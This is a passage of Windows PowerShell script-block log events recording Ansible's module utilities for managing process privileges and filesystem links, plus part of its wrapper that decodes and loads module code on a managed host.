"System.Text"
)
$ansible_privilege_util_code = @'
namespace Ansible.PrivilegeUtil
{
[Flags]
public enum PrivilegeAttributes : uint
{
Disabled = 0x00000000,
EnabledByDefault = 0x00000001,
Enabled = 0x00000002,
Removed = 0x00000004,
UsedForAccess = 0x80000000,
}
internal class NativeHelpers
{
[StructLayout(LayoutKind.Sequential)]
internal struct LUID
{
public UInt32 LowPart;
public Int32 HighPart;
}
[StructLayout(LayoutKind.Sequential)]
internal struct LUID_AND_ATTRIBUTES
{
public LUID Luid;
public PrivilegeAttributes Attributes;
}
[StructLayout(LayoutKind.Sequential)]
internal struct TOKEN_PRIVILEGES
{
public UInt32 PrivilegeCount;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
public LUID_AND_ATTRIBUTES[] Privileges;
}
}
internal class NativeMethods
{
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool AdjustTokenPrivileges(
IntPtr TokenHandle,
[MarshalAs(UnmanagedType.Bool)] bool DisableAllPrivileges,
IntPtr NewState,
UInt32 BufferLength,
IntPtr PreviousState,
out UInt32 ReturnLength);
[DllImport("kernel32.dll")]
internal static extern bool CloseHandle(
IntPtr hObject);
[DllImport("kernel32")]
internal static extern SafeWaitHandle GetCurrentProcess();
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool GetTokenInformation(
IntPtr TokenHandle,
UInt32 TokenInformationClass,
IntPtr TokenInformation,
UInt32 TokenInformationLength,
out UInt32 ReturnLength);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
internal static extern bool LookupPrivilegeName(
string lpSystemName,
ref NativeHelpers.LUID lpLuid,
StringBuilder lpName,
ref UInt32 cchName);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
internal static extern bool LookupPrivilegeValue(
string lpSystemName,
string lpName,
out NativeHelpers.LUID lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool OpenProcessToken(
SafeHandle ProcessHandle,
TokenAccessLevels DesiredAccess,
out IntPtr TokenHandle);
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class Privileges
{
private static readonly UInt32 TOKEN_PRIVILEGES = 3;
public static bool CheckPrivilegeName(string name)
{
NativeHelpers.LUID luid;
if (!NativeMethods.LookupPrivilegeValue(null, name, out luid))
{
int errCode = Marshal.GetLastWin32Error();
if (errCode != 1313) // ERROR_NO_SUCH_PRIVILEGE
throw new Win32Exception(errCode, String.Format("LookupPrivilegeValue({0}) failed", name));
return false;
}
else
{
return true;
}
}
public static Dictionary<string, bool?> DisablePrivilege(SafeHandle token, string privilege)
{
return SetTokenPrivileges(token, new Dictionary<string, bool?>() { { privilege, false } });
}
public static Dictionary<string, bool?> DisableAllPrivileges(SafeHandle token)
{
return AdjustTokenPrivileges(token, null);
}
public static Dictionary<string, bool?> EnablePrivilege(SafeHandle token, string privilege)
{
return SetTokenPrivileges(token, new Dictionary<string, bool?>() { { privilege, true } });
}
public static Dictionary<String, PrivilegeAttributes> GetAllPrivilegeInfo(SafeHandle token)
{
IntPtr hToken = IntPtr.Zero;
if (!NativeMethods.OpenProcessToken(token, TokenAccessLevels.Query, out hToken))
throw new Win32Exception("OpenProcessToken() failed");
Dictionary<String, PrivilegeAttributes> info = new Dictionary<String, PrivilegeAttributes>();
try
{
UInt32 tokenLength = 0;
NativeMethods.GetTokenInformation(hToken, TOKEN_PRIVILEGES, IntPtr.Zero, 0, out tokenLength);
NativeHelpers.LUID_AND_ATTRIBUTES[] privileges;
IntPtr privilegesPtr = Marshal.AllocHGlobal((int)tokenLength);
try
{
if (!NativeMethods.GetTokenInformation(hToken, TOKEN_PRIVILEGES, privilegesPtr, tokenLength, out tokenLength))
throw new Win32Exception("GetTokenInformation() for TOKEN_PRIVILEGES failed");
NativeHelpers.TOKEN_PRIVILEGES privilegeInfo = (NativeHelpers.TOKEN_PRIVILEGES)Marshal.PtrToStructure(privilegesPtr, typeof(NativeHelpers.TOKEN_PRIVILEGES));
privileges = new NativeHelpers.LUID_AND_ATTRIBUTES[privilegeInfo.PrivilegeCount];
PtrToStructureArray(privileges, IntPtr.Add(privilegesPtr, Marshal.SizeOf(privilegeInfo.PrivilegeCount)));
}
finally
{
Marshal.FreeHGlobal(privilegesPtr);
}
info = privileges.ToDictionary(p => GetPrivilegeName(p.Luid), p => p.Attributes);
}
finally
{
NativeMethods.CloseHandle(hToken);
}
return info;
}
public static SafeWaitHandle GetCurrentProcess()
{
return NativeMethods.GetCurrentProcess();
}
public static void RemovePrivilege(SafeHandle token, string privilege)
{
SetTokenPrivileges(token, new Dictionary<string, bool?>() { { privilege, null } });
}
public static Dictionary<string, bool?> SetTokenPrivileges(SafeHandle token, Dictionary<string, bool?> state)
{
NativeHelpers.LUID_AND_ATTRIBUTES[] privilegeAttr = new NativeHelpers.LUID_AND_ATTRIBUTES[state.Count];
int i = 0;
foreach (KeyValuePair<string, bool?> entry in state)
{
NativeHelpers.LUID luid;
if (!NativeMethods.LookupPrivilegeValue(null, entry.Key, out luid))
throw new Win32Exception(String.Format("LookupPrivilegeValue({0}) failed", entry.Key));
PrivilegeAttributes attributes;
switch (entry.Value)
{
case true:
attributes = PrivilegeAttributes.Enabled;
break;
case false:
attributes = PrivilegeAttributes.Disabled;
break;
default:
attributes = PrivilegeAttributes.Removed;
break;
}
privilegeAttr[i].Luid = luid;
privilegeAttr[i].Attributes = attributes;
i++;
}
return AdjustTokenPrivileges(token, privilegeAttr);
}
private static Dictionary<string, bool?> AdjustTokenPrivileges(SafeHandle token, NativeHelpers.LUID_AND_ATTRIBUTES[] newState)
{
bool disableAllPrivileges;
IntPtr newStatePtr;
NativeHelpers.LUID_AND_ATTRIBUTES[] oldStatePrivileges;
UInt32 returnLength;
if (newState == null)
{
disableAllPrivileges = true;
newStatePtr = IntPtr.Zero;
}
else
{
disableAllPrivileges = false;
// Need to manually marshal the bytes requires for newState as the constant size
// of LUID_AND_ATTRIBUTES is set to 1 and can't be overridden at runtime, TOKEN_PRIVILEGES
// always contains at least 1 entry so we need to calculate the extra size if there are
// nore than 1 LUID_AND_ATTRIBUTES entry
int tokenPrivilegesSize = Marshal.SizeOf(typeof(NativeHelpers.TOKEN_PRIVILEGES));
int luidAttrSize = 0;
if (newState.Length > 1)
luidAttrSize = Marshal.SizeOf(typeof(NativeHelpers.LUID_AND_ATTRIBUTES)) * (newState.Length - 1);
int totalSize = tokenPrivilegesSize + luidAttrSize;
byte[] newStateBytes = new byte[totalSize];
// get the first entry that includes the struct details
NativeHelpers.TOKEN_PRIVILEGES tokenPrivileges = new NativeHelpers.TOKEN_PRIVILEGES()
{
PrivilegeCount = (UInt32)newState.Length,
Privileges = new NativeHelpers.LUID_AND_ATTRIBUTES[1],
};
if (newState.Length > 0)
tokenPrivileges.Privileges[0] = newState[0];
int offset = StructureToBytes(tokenPrivileges, newStateBytes, 0);
// copy the remaining LUID_AND_ATTRIBUTES (if any)
for (int i = 1; i < newState.Length; i++)
offset += StructureToBytes(newState[i], newStateBytes, offset);
// finally create the pointer to the byte array we just created
newStatePtr = Marshal.AllocHGlobal(newStateBytes.Length);
Marshal.Copy(newStateBytes, 0, newStatePtr, newStateBytes.Length);
}
try
{
IntPtr hToken = IntPtr.Zero;
if (!NativeMethods.OpenProcessToken(token, TokenAccessLevels.Query | TokenAccessLevels.AdjustPrivileges, out hToken))
throw new Win32Exception("OpenProcessToken() failed with Query and AdjustPrivileges");
try
{
IntPtr oldStatePtr = Marshal.AllocHGlobal(0);
if (!NativeMethods.AdjustTokenPrivileges(hToken, disableAllPrivileges, newStatePtr, 0, oldStatePtr, out returnLength))
{
int errCode = Marshal.GetLastWin32Error();
if (errCode != 122) // ERROR_INSUFFICIENT_BUFFER
throw new Win32Exception(errCode, "AdjustTokenPrivileges() failed to get old state size");
}
// resize the oldStatePtr based on the length returned from Windows
Marshal.FreeHGlobal(oldStatePtr);
oldStatePtr = Marshal.AllocHGlobal((int)returnLength);
try
{
bool res = NativeMethods.AdjustTokenPrivileges(hToken, disableAllPrivileges, newStatePtr, returnLength, oldStatePtr, out returnLength);
int errCode = Marshal.GetLastWin32Error();
// even when res == true, ERROR_NOT_ALL_ASSIGNED may be set as the last error code
if (!res || errCode != 0)
throw new Win32Exception(errCode, "AdjustTokenPrivileges() failed");
// Marshal the oldStatePtr to the struct
NativeHelpers.TOKEN_PRIVILEGES oldState = (NativeHelpers.TOKEN_PRIVILEGES)Marshal.PtrToStructure(oldStatePtr, typeof(NativeHelpers.TOKEN_PRIVILEGES));
oldStatePrivileges = new NativeHelpers.LUID_AND_ATTRIBUTES[oldState.PrivilegeCount];
PtrToStructureArray(oldStatePrivileges, IntPtr.Add(oldStatePtr, Marshal.SizeOf(oldState.PrivilegeCount)));
}
finally
{
Marshal.FreeHGlobal(oldStatePtr);
}
}
finally
{
NativeMethods.CloseHandle(hToken);
}
}
finally
{
if (newStatePtr != IntPtr.Zero)
Marshal.FreeHGlobal(newStatePtr);
}
return oldStatePrivileges.ToDictionary(p => GetPrivilegeName(p.Luid), p => (bool?)p.Attributes.HasFlag(PrivilegeAttributes.Enabled));
}
private static string GetPrivilegeName(NativeHelpers.LUID luid)
{
UInt32 nameLen = 0;
NativeMethods.LookupPrivilegeName(null, ref luid, null, ref nameLen);
StringBuilder name = new StringBuilder((int)(nameLen + 1));
if (!NativeMethods.LookupPrivilegeName(null, ref luid, name, ref nameLen))
throw new Win32Exception("LookupPrivilegeName() failed");
return name.ToString();
}
private static void PtrToStructureArray<T>(T[] array, IntPtr ptr)
{
IntPtr ptrOffset = ptr;
for (int i = 0; i < array.Length; i++, ptrOffset = IntPtr.Add(ptrOffset, Marshal.SizeOf(typeof(T))))
array[i] = (T)Marshal.PtrToStructure(ptrOffset, typeof(T));
}
private static int StructureToBytes<T>(T structure, byte[] array, int offset)
{
int size = Marshal.SizeOf(structure);
IntPtr structPtr = Marshal.AllocHGlobal(size);
try
{
Marshal.StructureToPtr(structure, structPtr, false);
Marshal.Copy(structPtr, array, offset, size);
}
finally
{
Marshal.FreeHGlobal(structPtr);
}
return size;
}
}
}
'@
Function Import-PrivilegeUtil {
<#
.SYNOPSIS
Compiles the C# code that can be used to manage Windows privileges from an
Ansible module. Once this function is called, the following PowerShell
cmdlets can be used;
Get-AnsiblePrivilege
Set-AnsiblePrivilege
The above cmdlets give the ability to manage permissions on the current
process token but the underlying .NET classes are also exposed for greater
control. The following functions can be used by calling the .NET class
[Ansible.PrivilegeUtil.Privileges]::CheckPrivilegeName($name)
[Ansible.PrivilegeUtil.Privileges]::DisablePrivilege($process, $name)
[Ansible.PrivilegeUtil.Privileges]::DisableAllPrivileges($process)
[Ansible.PrivilegeUtil.Privileges]::EnablePrivilege($process, $name)
[Ansible.PrivilegeUtil.Privileges]::GetAllPrivilegeInfo($process)
[Ansible.PrivilegeUtil.Privileges]::RemovePrivilege($process, $name)
[Ansible.PrivilegeUtil.Privileges]::SetTokenPrivileges($process, $new_state)
Here is a brief explanation of each type of arg
$process = The process handle to manipulate, use '[Ansible.PrivilegeUtils.Privileges]::GetCurrentProcess()' to get the current process handle
$name = The name of the privilege, this is the constant value from https://docs.microsoft.com/en-us/windows/desktop/SecAuthZ/privilege-constants, e.g. SeAuditPrivilege
$new_state = 'System.Collections.Generic.Dictionary`2[[System.String], [System.Nullable`1[System.Boolean]]]'
The key is the constant name as a string, the value is a ternary boolean where
true - will enable the privilege
false - will disable the privilege
null - will remove th
ScriptBlock ID: 4cfdbcbf-fd75-430f-89e1-4b8a09ade906
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2129 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4564 | 3036 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:54 AM | 61e00a24-ee3b-0000-930b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c) 2017 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
#Requires -Module Ansible.ModuleUtils.PrivilegeUtil
Function Load-LinkUtils() {
$link_util = @'
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
namespace Ansible
{
public enum LinkType
{
SymbolicLink,
JunctionPoint,
HardLink
}
public class LinkUtilWin32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public LinkUtilWin32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public LinkUtilWin32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator LinkUtilWin32Exception(string message) { return new LinkUtilWin32Exception(message); }
}
public class LinkInfo
{
public LinkType Type { get; internal set; }
public string PrintName { get; internal set; }
public string SubstituteName { get; internal set; }
public string AbsolutePath { get; internal set; }
public string TargetPath { get; internal set; }
public string[] HardTargets { get; internal set; }
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct REPARSE_DATA_BUFFER
{
public UInt32 ReparseTag;
public UInt16 ReparseDataLength;
public UInt16 Reserved;
public UInt16 SubstituteNameOffset;
public UInt16 SubstituteNameLength;
public UInt16 PrintNameOffset;
public UInt16 PrintNameLength;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = LinkUtil.MAXIMUM_REPARSE_DATA_BUFFER_SIZE)]
public char[] PathBuffer;
}
public class LinkUtil
{
public const int MAXIMUM_REPARSE_DATA_BUFFER_SIZE = 1024 * 16;
private const UInt32 FILE_FLAG_BACKUP_SEMANTICS = 0x02000000;
private const UInt32 FILE_FLAG_OPEN_REPARSE_POINT = 0x00200000;
private const UInt32 FSCTL_GET_REPARSE_POINT = 0x000900A8;
private const UInt32 FSCTL_SET_REPARSE_POINT = 0x000900A4;
private const UInt32 FILE_DEVICE_FILE_SYSTEM = 0x00090000;
private const UInt32 IO_REPARSE_TAG_MOUNT_POINT = 0xA0000003;
private const UInt32 IO_REPARSE_TAG_SYMLINK = 0xA000000C;
private const UInt32 SYMLINK_FLAG_RELATIVE = 0x00000001;
private const Int64 INVALID_HANDLE_VALUE = -1;
private const UInt32 SIZE_OF_WCHAR = 2;
private const UInt32 SYMBOLIC_LINK_FLAG_FILE = 0x00000000;
private const UInt32 SYMBOLIC_LINK_FLAG_DIRECTORY = 0x00000001;
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
private static extern SafeFileHandle CreateFile(
string lpFileName,
[MarshalAs(UnmanagedType.U4)] FileAccess dwDesiredAccess,
[MarshalAs(UnmanagedType.U4)] FileShare dwShareMode,
IntPtr lpSecurityAttributes,
[MarshalAs(UnmanagedType.U4)] FileMode dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
// Used by GetReparsePointInfo()
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool DeviceIoControl(
SafeFileHandle hDevice,
UInt32 dwIoControlCode,
IntPtr lpInBuffer,
UInt32 nInBufferSize,
out REPARSE_DATA_BUFFER lpOutBuffer,
UInt32 nOutBufferSize,
out UInt32 lpBytesReturned,
IntPtr lpOverlapped);
// Used by CreateJunctionPoint()
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool DeviceIoControl(
SafeFileHandle hDevice,
UInt32 dwIoControlCode,
REPARSE_DATA_BUFFER lpInBuffer,
UInt32 nInBufferSize,
IntPtr lpOutBuffer,
UInt32 nOutBufferSize,
out UInt32 lpBytesReturned,
IntPtr lpOverlapped);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool GetVolumePathName(
string lpszFileName,
StringBuilder lpszVolumePathName,
ref UInt32 cchBufferLength);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern IntPtr FindFirstFileNameW(
string lpFileName,
UInt32 dwFlags,
ref UInt32 StringLength,
StringBuilder LinkName);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool FindNextFileNameW(
IntPtr hFindStream,
ref UInt32 StringLength,
StringBuilder LinkName);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool FindClose(
IntPtr hFindFile);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool RemoveDirectory(
string lpPathName);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool DeleteFile(
string lpFileName);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool CreateSymbolicLink(
string lpSymlinkFileName,
string lpTargetFileName,
UInt32 dwFlags);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool CreateHardLink(
string lpFileName,
string lpExistingFileName,
IntPtr lpSecurityAttributes);
public static LinkInfo GetLinkInfo(string linkPath)
{
FileAttributes attr = File.GetAttributes(linkPath);
if (attr.HasFlag(FileAttributes.ReparsePoint))
return GetReparsePointInfo(linkPath);
if (!attr.HasFlag(FileAttributes.Directory))
return GetHardLinkInfo(linkPath);
return null;
}
public static void DeleteLink(string linkPath)
{
bool success;
FileAttributes attr = File.GetAttributes(linkPath);
if (attr.HasFlag(FileAttributes.Directory))
{
success = RemoveDirectory(linkPath);
}
else
{
success = DeleteFile(linkPath);
}
if (!success)
throw new LinkUtilWin32Exception(String.Format("Failed to delete link at {0}", linkPath));
}
public static void CreateLink(string linkPath, String linkTarget, LinkType linkType)
{
switch (linkType)
{
case LinkType.SymbolicLink:
UInt32 linkFlags;
FileAttributes attr = File.GetAttributes(linkTarget);
if (attr.HasFlag(FileAttributes.Directory))
linkFlags = SYMBOLIC_LINK_FLAG_DIRECTORY;
else
linkFlags = SYMBOLIC_LINK_FLAG_FILE;
if (!CreateSymbolicLink(linkPath, linkTarget, linkFlags))
throw new LinkUtilWin32Exception(String.Format("CreateSymbolicLink({0}, {1}, {2}) failed", linkPath, linkTarget, linkFlags));
break;
case LinkType.JunctionPoint:
CreateJunctionPoint(linkPath, linkTarget);
break;
case LinkType.HardLink:
if (!CreateHardLink(linkPath, linkTarget, IntPtr.Zero))
throw new LinkUtilWin32Exception(String.Format("CreateHardLink({0}, {1}) failed", linkPath, linkTarget));
break;
}
}
private static LinkInfo GetHardLinkInfo(string linkPath)
{
UInt32 maxPath = 260;
List<string> result = new List<string>();
StringBuilder sb = new StringBuilder((int)maxPath);
UInt32 stringLength = maxPath;
if (!GetVolumePathName(linkPath, sb, ref stringLength))
throw new LinkUtilWin32Exception("GetVolumePathName() failed");
string volume = sb.ToString();
stringLength = maxPath;
IntPtr findHandle = FindFirstFileNameW(linkPath, 0, ref stringLength, sb);
if (findHandle.ToInt64() != INVALID_HANDLE_VALUE)
{
try
{
do
{
string hardLinkPath = sb.ToString();
if (hardLinkPath.StartsWith("\\"))
hardLinkPath = hardLinkPath.Substring(1, hardLinkPath.Length - 1);
result.Add(Path.Combine(volume, hardLinkPath));
stringLength = maxPath;
} while (FindNextFileNameW(findHandle, ref stringLength, sb));
}
finally
{
FindClose(findHandle);
}
}
if (result.Count > 1)
return new LinkInfo
{
Type = LinkType.HardLink,
HardTargets = result.ToArray()
};
return null;
}
private static LinkInfo GetReparsePointInfo(string linkPath)
{
SafeFileHandle fileHandle = CreateFile(
linkPath,
FileAccess.Read,
FileShare.None,
IntPtr.Zero,
FileMode.Open,
FILE_FLAG_OPEN_REPARSE_POINT | FILE_FLAG_BACKUP_SEMANTICS,
IntPtr.Zero);
if (fileHandle.IsInvalid)
throw new LinkUtilWin32Exception(String.Format("CreateFile({0}) failed", linkPath));
REPARSE_DATA_BUFFER buffer = new REPARSE_DATA_BUFFER();
UInt32 bytesReturned;
try
{
if (!DeviceIoControl(
fileHandle,
FSCTL_GET_REPARSE_POINT,
IntPtr.Zero,
0,
out buffer,
MAXIMUM_REPARSE_DATA_BUFFER_SIZE,
out bytesReturned,
IntPtr.Zero))
throw new LinkUtilWin32Exception(String.Format("DeviceIoControl() failed for file at {0}", linkPath));
}
finally
{
fileHandle.Dispose();
}
bool isRelative = false;
int pathOffset = 0;
LinkType linkType;
if (buffer.ReparseTag == IO_REPARSE_TAG_SYMLINK)
{
UInt32 bufferFlags = Convert.ToUInt32(buffer.PathBuffer[0]) + Convert.ToUInt32(buffer.PathBuffer[1]);
if (bufferFlags == SYMLINK_FLAG_RELATIVE)
isRelative = true;
pathOffset = 2;
linkType = LinkType.SymbolicLink;
}
else if (buffer.ReparseTag == IO_REPARSE_TAG_MOUNT_POINT)
{
linkType = LinkType.JunctionPoint;
}
else
{
string errorMessage = String.Format("Invalid Reparse Tag: {0}", buffer.ReparseTag.ToString());
throw new Exception(errorMessage);
}
string printName = new string(buffer.PathBuffer, (int)(buffer.PrintNameOffset / SIZE_OF_WCHAR) + pathOffset, (int)(buffer.PrintNameLength / SIZE_OF_WCHAR));
string substituteName = new string(buffer.PathBuffer, (int)(buffer.SubstituteNameOffset / SIZE_OF_WCHAR) + pathOffset, (int)(buffer.SubstituteNameLength / SIZE_OF_WCHAR));
// TODO: should we check for \?\UNC\server for convert it to the NT style \\server path
// Remove the leading Windows object directory \?\ from the path if present
string targetPath = substituteName;
if (targetPath.StartsWith("\\??\\"))
targetPath = targetPath.Substring(4, targetPath.Length - 4);
string absolutePath = targetPath;
if (isRelative)
absolutePath = Path.GetFullPath(Path.Combine(new FileInfo(linkPath).Directory.FullName, targetPath));
return new LinkInfo
{
Type = linkType,
PrintName = printName,
SubstituteName = substituteName,
AbsolutePath = absolutePath,
TargetPath = targetPath
};
}
private static void CreateJunctionPoint(string linkPath, string linkTarget)
{
// We need to create the link as a dir beforehand
Directory.CreateDirectory(linkPath);
SafeFileHandle fileHandle = CreateFile(
linkPath,
FileAccess.Write,
FileShare.Read | FileShare.Write | FileShare.None,
IntPtr.Zero,
FileMode.Open,
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT,
IntPtr.Zero);
if (fileHandle.IsInvalid)
throw new LinkUtilWin32Exception(String.Format("CreateFile({0}) failed", linkPath));
try
{
string substituteName = "\\??\\" + Path.GetFullPath(linkTarget);
string printName = linkTarget;
REPARSE_DATA_BUFFER buffer = new REPARSE_DATA_BUFFER();
buffer.SubstituteNameOffset = 0;
buffer.SubstituteNameLength = (UInt16)(substituteName.Length * SIZE_OF_WCHAR);
buffer.PrintNameOffset = (UInt16)(buffer.SubstituteNameLength + 2);
buffer.PrintNameLength = (UInt16)(printName.Length * SIZE_OF_WCHAR);
buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
buffer.ReparseDataLength = (UInt16)(buffer.SubstituteNameLength + buffer.PrintNameLength + 12);
buffer.PathBuffer = new char[MAXIMUM_REPARSE_DATA_BUFFER_SIZE];
byte[] unicodeBytes = Encoding.Unicode.GetBytes(substituteName + "\0" + printName);
char[] pathBuffer = Encoding.Unicode.GetChars(unicodeBytes);
Array.Copy(pathBuffer, buffer.PathBuffer, pathBuffer.Length);
UInt32 bytesReturned;
if (!DeviceIoControl(
fileHandle,
FSCTL_SET_REPARSE_POINT,
buffer,
(UInt32)(buffer.ReparseDataLength + 8),
IntPtr.Zero, 0,
out bytesReturned,
IntPtr.Zero))
throw new LinkUtilWin32Exception(String.Format("DeviceIoControl() failed to create junction point at {0} to {1}", linkPath, linkTarget));
}
finally
{
fileHandle.Dispose();
}
}
}
}
'@
# FUTURE: find a better way to get the _ansible_remote_tmp variable
$original_tmp = $env:TMP
$remote_tmp = $original_tmp
$module_params = Get-Variable -Name complex_args -ErrorAction SilentlyContinue
if ($module_params) {
if ($module_params.Value.ContainsKey("_ansible_remote_tmp") ) {
$remote_tmp = $module_params.Value["_ansible_remote_tmp"]
$remote_tmp = [System.Environment]::ExpandEnvironmentVariables($remote_tmp)
}
}
$env:TMP = $remote_tmp
Add-Type -TypeDefinition $link_util
$env:TMP = $original_tmp
Import-PrivilegeUtil
# enable the SeBackupPrivilege if it is disabled
$state = Get-AnsiblePrivilege -Name SeBackupPrivilege
if ($state -eq $false) {
Set-AnsiblePrivilege -Name SeBackupPrivilege -Value $true
}
}
Function Get-Link($link_path) {
$link_info = [Ansible.LinkUtil]::GetLinkInfo($link_path)
return $link_info
}
Function Remove-Link($link_path) {
[Ansible.LinkUtil]::DeleteLink($link_path)
}
Function New-Link($link_path, $link_target, $link_type) {
if (-not (Test-Path -Path $link_target)) {
throw "link_target '$link_target' does not exist, cannot create link"
}
switch($link_type) {
"link" {
$type = [Ansible.LinkType]::SymbolicLink
}
"junction" {
if (Test-Path -Path $link_target -PathType Leaf) {
throw "cannot set the target for a junction point to a file"
}
$type = [Ansible.LinkType]::JunctionPoint
}
"hard" {
if (Test-Path -Path $link_target -PathType Container) {
throw "cannot set the target for a hard link to a directory"
}
$type = [Ansible.LinkType]::HardLink
}
default { throw "invalid link_type option $($link_type): expecting link, junction, hard" }
}
[Ansible.LinkUtil]::CreateLink($link_path, $link_target, $type)
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 4b60121b-810b-4c4c-8844-57470bdc864f
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2128 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4564 | 3036 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:54 AM | 61e00a24-ee3b-0000-8f0b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: 07a3d059-037e-4f54-9bab-6b1dece3a5c9
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2127 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4564 | 3036 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:53 AM | 61e00a24-ee3b-0003-b00b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (8 of 8):
checksum": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "path": "c:\\openstack\\log\\neutron-ovs-agent.log", "get_md5": false, "_ansible_tmpdir": null}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: e8181001-fe2c-4161-8c76-80f1e58a8cc0
